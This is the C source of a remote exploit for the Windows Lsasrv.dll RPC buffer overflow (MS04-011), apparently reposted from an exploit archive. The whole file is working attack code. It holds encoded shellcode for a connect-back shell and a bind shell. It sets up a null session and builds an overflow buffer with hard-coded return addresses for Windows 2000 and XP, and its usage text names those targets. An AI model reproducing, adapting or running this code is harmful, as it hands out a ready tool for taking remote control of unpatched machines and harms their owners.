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MS Windows Lsasrv.dll RPC Remote Buffer Overflow Expl (MS04-011)
[===================================================================
MS Windows Lsasrv.dll RPC Remote Buffer Overflow Exploit (MS04-011)
===================================================================
#include <windows.h>
#pragma comment(lib,"mpr.lib")
#pragma comment(lib, "ws2_32")
unsigned char scode[] =
"\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\x25\x01\x80\x34\x0B\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF"
"\x70\x62\x99\x99\x99\xC6\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
"\xE9\x85\x34\x12\xF1\x91\x12\x6E\xF3\x9D\xC0\x71\x02\x99\x99\x99"
"\x7B\x60\xF1\xAA\xAB\x99\x99\xF1\xEE\xEA\xAB\xC6\xCD\x66\x8F\x12"
"\x71\xF3\x9D\xC0\x71\x1B\x99\x99\x99\x7B\x60\x18\x75\x09\x98\x99"
"\x99\xCD\xF1\x98\x98\x99\x99\x66\xCF\x89\xC9\xC9\xC9\xC9\xD9\xC9"
"\xD9\xC9\x66\xCF\x8D\x12\x41\xF1\xE6\x99\x99\x98\xF1\x9B\x99\x9D"
"\x4B\x12\x55\xF3\x89\xC8\xCA\x66\xCF\x81\x1C\x59\xEC\xD3\xF1\xFA"
"\xF4\xFD\x99\x10\xFF\xA9\x1A\x75\xCD\x14\xA5\xBD\xF3\x8C\xC0\x32"
"\x7B\x64\x5F\xDD\xBD\x89\xDD\x67\xDD\xBD\xA4\x10\xC5\xBD\xD1\x10"
"\xC5\xBD\xD5\x10\xC5\xBD\xC9\x14\xDD\xBD\x89\xCD\xC9\xC8\xC8\xC8"
"\xF3\x98\xC8\xC8\x66\xEF\xA9\xC8\x66\xCF\x9D\x12\x55\xF3\x66\x66"
"\xA8\x66\xCF\x91\xCA\x66\xCF\x85\x66\xCF\x95\xC8\xCF\x12\xDC\xA5"
"\x12\xCD\xB1\xE1\x9A\x4C\xCB\x12\xEB\xB9\x9A\x6C\xAA\x50\xD0\xD8"
"\x34\x9A\x5C\xAA\x42\x96\x27\x89\xA3\x4F\xED\x91\x58\x52\x94\x9A"
"\x43\xD9\x72\x68\xA2\x86\xEC\x7E\xC3\x12\xC3\xBD\x9A\x44\xFF\x12"
"\x95\xD2\x12\xC3\x85\x9A\x44\x12\x9D\x12\x9A\x5C\x32\xC7\xC0\x5A"
"\x71\x99\x66\x66\x66\x17\xD7\x97\x75\xEB\x67\x2A\x8F\x34\x40\x9C"
"\x57\x76\x57\x79\xF9\x52\x74\x65\xA2\x40\x90\x6C\x34\x75\x60\x33"
"\xF9\x7E\xE0\x5F\xE0";
unsigned char scode2[] =
"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x7D\x01\x80\x34\x0A\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF"
"\x70\x95\x98\x99\x99\xC3\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
"\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x12\xED\x87\xE1\x9A"
"\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8\x12\xA6"
"\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E\x9D"
"\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A"
"\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58"
"\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9A\xC0"
"\x71\x1E\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x66\xCE\x65\xC3\x12\x41"
"\xF3\x9C\xC0\x71\xED\x99\x99\x99\xC9\xC9\xC9\xC9\xF3\x98\xF3\x9B"
"\x66\xCE\x75\x12\x41\x5E\x9E\x9B\x99\x9D\x4B\xAA\x59\x10\xDE\x9D"
"\xF3\x89\xCE\xCA\x66\xCE\x69\xF3\x98\xCA\x66\xCE\x6D\xC9\xC9\xCA"
"\x66\xCE\x61\x12\x49\x1A\x75\xDD\x12\x6D\xAA\x59\xF3\x89\xC0\x10"
"\x9D\x17\x7B\x62\x10\xCF\xA1\x10\xCF\xA5\x10\xCF\xD9\xFF\x5E\xDF"
"\xB5\x98\x98\x14\xDE\x89\xC9\xCF\xAA\x50\xC8\xC8\xC8\xF3\x98\xC8"
"\xC8\x5E\xDE\xA5\xFA\xF4\xFD\x99\x14\xDE\xA5\xC9\xC8\x66\xCE\x79"
"\xCB\x66\xCE\x65\xCA\x66\xCE\x65\xC9\x66\xCE\x7D\xAA\x59\x35\x1C"
"\x59\xEC\x60\xC8\xCB\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B\x77\xAA\x59"
"\x5A\x71\x76\x67\x66\x66\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD"
"\xEB\xFC\xEA\xEA\x99\xDA\xEB\xFC\xF8\xED\xFC\xC9\xEB\xF6\xFA\xFC"
"\xEA\xEA\xD8\x99\xDC\xE1\xF0\xED\xCD\xF1\xEB\xFC\xF8\xFD\x99\xD5"
"\xF6\xF8\xFD\xD5\xF0\xFB\xEB\xF8\xEB\xE0\xD8\x99\xEE\xEA\xAB\xC6"
"\xAA\xAB\x99\xCE\xCA\xD8\xCA\xF6\xFA\xF2\xFC\xED\xD8\x99\xFB\xF0"
"\xF7\xFD\x99\xF5\xF0\xEA\xED\xFC\xF7\x99\xF8\xFA\xFA\xFC\xE9\xED"
"\x99\xFA\xF5\xF6\xEA\xFC\xEA\xF6\xFA\xF2\xFC\xED\x99";
typedef int (_stdcall *DSROLEUPGRADEDOWNLEVELSERVER)
(unsigned long, unsigned long, unsigned long, unsigned long,
unsigned long, unsigned long, unsigned long, unsigned long,
unsigned long, unsigned long, unsigned long, unsigned long);
DSROLEUPGRADEDOWNLEVELSERVER DsRoleUpgradeDownlevelServer;
#define LEN 3500
char buf[LEN+1];
char sendbuf[(LEN+1)*2];
char buf2[2];
char target2[200];
int main(int argc, char *argv[])
{
HMODULE hNetapi;
int ret=0;
int i;
char c, *target;
LPSTR hostipc[40];
NETRESOURCE netResource;
unsigned short port;
unsigned long ip;
unsigned char* sc;
if (argc < 3) {
printf("Windows Lsasrv.dll RPC [ms04011] buffer overflow Remote Exploit\n \bug discoveried by eEye,\n \
code by sbaa (sysop sbaa 3322 org) 2004/04/24 ver 0.1\n \
Usage: \n \
%s 0 targetip (Port ConnectBackIP ) \
----> attack 2k (tested on cn sp4,en sp4)\n \
%s 1 targetip (Port ConnectBackIP ) \
----> attack xp (tested on cn sp1)\n",argv[0],argv[0]);
printf("");
return 0;
}
target = argv[2];
sprintf((char *)hostipc,"\\\\%s\\ipc$",target);
netResource.lpLocalName = NULL;
netResource.lpProvider = NULL;
netResource.dwType = RESOURCETYPE_ANY;
netResource.lpRemoteName=(char *)hostipc;
ret = WNetAddConnection2(&netResource, "", "", 0); // attempt a null session
if (ret != 0)
{
printf("Create NULL session failed\n");
// return 1;
}
hNetapi = LoadLibrary("sbaaNetapi.dll");
if (!hNetapi) {
printf("Can't load sbaaNetapi.dll.\n");
exit(0);
}
(DWORD *)DsRoleUpgradeDownlevelServer = (DWORD *)GetProcAddress(hNetapi, "DsRoleUpgradeDownlevelServer");
if (!DsRoleUpgradeDownlevelServer) {
printf("Can't find function.\n");
exit(0);
}
memset(buf, '\x90', LEN);
if(argc>4)
{
port = htons(atoi(argv[3]))^(USHORT)0x9999;
ip = inet_addr(argv[4])^(ULONG)0x99999999;
memcpy(&scode[118], &port, 2);
memcpy(&scode[111], &ip, 4);
sc=scode;
}
else
{
if(argc>3)
{
port = htons(atoi(argv[3]))^(USHORT)0x9999;
memcpy(&scode2[176], &port, 2);
}
sc=scode2;
}
//attack all 2k sp3 version
memcpy(&buf[2020], "\x95\x0c\x01\x78", 4);
memcpy(&buf[2036], sc, strlen(sc));
//attack all 2k sp4 version
memcpy(&buf[2840], "\xeb\x06\xeb\x06", 4);
memcpy(&buf[2844],"\x2b\x38\x03\x78",4);
memcpy(&buf[2856], sc, strlen(sc));
printf("shellcode size %d\n", strlen(sc));
for(i=0; i<LEN; i++) { //unicode
sendbuf[i*2] = buf[i];
sendbuf[i*2+1] = 0;
}
sendbuf[LEN*2]=0;
sendbuf[LEN*2+1]=0;
if(atoi(argv[1])==1)
{
memcpy(&sendbuf, sc, strlen(sc));
memcpy(sendbuf+1964,"\xad\x14\x48\x74",4);
memcpy(&sendbuf[1948], "\xb8\x44\xf8\xff\xff\x03\xc4\x81\xec\x00\x20\x00\x00\xff\xe0\x00", 16);
memcpy(&sendbuf[1980], "\xeb\xde",2);
}
memset(target2, 0, 100);
for(i=0; i<strlen(target); i++) {
target2[i*2] = target[i];
target2[i*2+1] = 0;
}
memset(buf2, 0, 2);
ret=0;
ret=DsRoleUpgradeDownlevelServer(&sendbuf[0], &buf2[0], &buf2[0], &buf2[0], &buf2[0], &buf2[0],
&buf2[0], &buf2[0], target2, &buf2[0], &buf2[0], &buf2[0]);
printf("Ret value = %d\n",ret);
WNetCancelConnection2(netResource.lpRemoteName, 0, TRUE);
FreeLibrary(hNetapi);
return 0;
}
# 0day.today [2024-11-15] #